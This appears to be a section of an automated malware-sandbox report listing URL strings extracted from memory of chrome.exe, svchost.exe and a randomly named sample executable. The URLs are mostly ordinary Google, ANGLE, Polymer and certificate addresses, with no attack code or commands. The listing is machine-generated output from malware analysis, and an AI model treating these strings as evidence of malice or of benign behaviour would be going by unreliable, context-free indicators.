Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000001.00000002.1847261879.0000307C00698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/73700
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843668137.0000307C00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843668137.0000307C00428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1843776029.0000307C00484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848270241.0000307C0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000001.00000002.1847130259.0000307C00648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: svchost.exe, 00000002.00000002.2093924888.0000018FD4E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCert
Source: chrome.exe, 00000001.00000002.1842107761.0000307C00134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.chrome.com/extensions/external_extensions.html)
Source: chrome.exe, 00000001.00000002.1849482239.0000307C00A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUwy
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD504D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000002.00000003.1730723961.0000018FD5091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: chrome.exe, 00000001.00000002.1841597925.0000307C0005A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: xLgTQcFdIJ.exe, 00000000.00000002.2210148752.0000000023530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: chrome.exe, 00000001.00000003.1746126968.0000307C00F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746161282.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746213982.0000307C00F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745169297.0000307C01098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746056647.0000307C00CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000001.00000003.1746126968.0000307C00F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746161282.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746213982.0000307C00F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745169297.0000307C01098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746056647.0000307C00CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000001.00000003.1746126968.0000307C00F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746161282.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746213982.0000307C00F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745169297.0000307C01098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746056647.0000307C00CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000001.00000003.1746126968.0000307C00F4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746161282.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744849990.0000307C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746707151.0000307C0112C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746213982.0000307C00F78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745169297.0000307C01098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745318061.0000307C00F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746873307.0000307C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746535776.0000307C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1746056647.0000307C00CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745464349.0000307C01064000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1745129071.0000307C01048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1842899312.0000307C002F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000001.00000002.1849320798.0000307C00A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000001.00000002.1849220186.0000307C009CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000001.00000002.1849220186.0000307C009CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: chrome.exe, 00000001.00000002.1849482239.0000307C00A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: xLgTQcFdIJ.exe, 00000000.00000002.2214633161.000000006F8ED000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: xLgTQcFdIJ.exe, 00000000.00000002.2213745970.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, xLgTQcFdIJ.exe, 00000000.00000002.2207280061.000000001D397000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: xLgTQcFdIJ.exe, 00000000.00000003.1835785135.000000002333D000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1848102287.0000307C007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000001.00000002.1841789495.0000307C0008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000001.00000002.1850674886.0000307C00C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000001.00000002.1850726600.0000307C00CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1841524029.0000307C0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000001.00000002.1842463195.0000307C001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000001.00000002.1841865965.0000307C000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000001.00000002.1841865965.0000307C000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000001.00000002.1841865965.0000307C000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000001.00000002.1841789495.0000307C0008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000001.00000002.1842552857.0000307C0020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000001.00000003.1766759762.0000307C01530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000001.00000003.1740239856.0000307C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740553737.0000307C00824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1850254528.0000307C00BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1740505545.0000307C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
